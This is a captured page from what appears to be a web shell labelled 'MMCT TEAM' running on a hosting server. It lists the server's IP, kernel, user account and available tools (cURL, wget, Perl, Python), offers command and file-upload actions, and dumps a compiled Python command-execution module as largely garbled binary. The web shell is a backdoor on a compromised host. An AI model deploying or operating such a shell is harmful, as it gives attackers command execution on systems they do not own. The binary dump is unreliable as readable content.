MMCT TEAM
Server IP : 111.118.215.189  /  Your IP : 216.73.216.194
Web Server : Apache
System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : a1673wkz ( 2475)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/share/lve/modlscapi/user/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/share/lve/modlscapi/user/__pycache__/exec_command.cpython-36.pyc
3

N_"g~�@sDddlZddlZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�ZdS)�NcCs|ddkr|dkrdSdS)Nr�"��)�line�isquotfrr�/exec_command.py�
first_quotsrcCs$|t|�ddkr |dkr dSdS)Nrrr)�len)rrrrr�	last_quot
sr
cCs�|jd�}d}d}g}x�tt|��D]p}||dkr$t|||�dkrTd}||}q$t|||�dkr�d}|d||7}|j|�q$|j||�q$Wt|�dS)N� r�r)�split�ranger	rr
�append�print)�commandZisquot�res�result�irrr�
parse_commands"

rcCs�g}yNtj|dtjtjd�}x2|jj�}|s.P|j�dkr|j|j�j��qWWn2tk
r�}zt	dt
|��WYdd}~XnX|S)NT)�shell�stdout�stderrrzCall process error: )�
subprocess�Popen�PIPEr�readline�stripr�decode�	Exceptionr�str)rr�p�outputZinstrrr�exec_command's
"r#cCs
tj|�S)z�
    Run command via os.system and return its exit status

    :param command: Command to execute in a subshell
    :return: Exit status of the command process
    )�os�system)rrrr�exec_command_out6sr&cCs&t|�}x|D]}||kr|SqWdS)Nr���)r#)rZ	substringrrrrr�exec_command_find_substring@s

r()r$rrr
rr#r&r(rrrr�<module>s

MMCT - 2023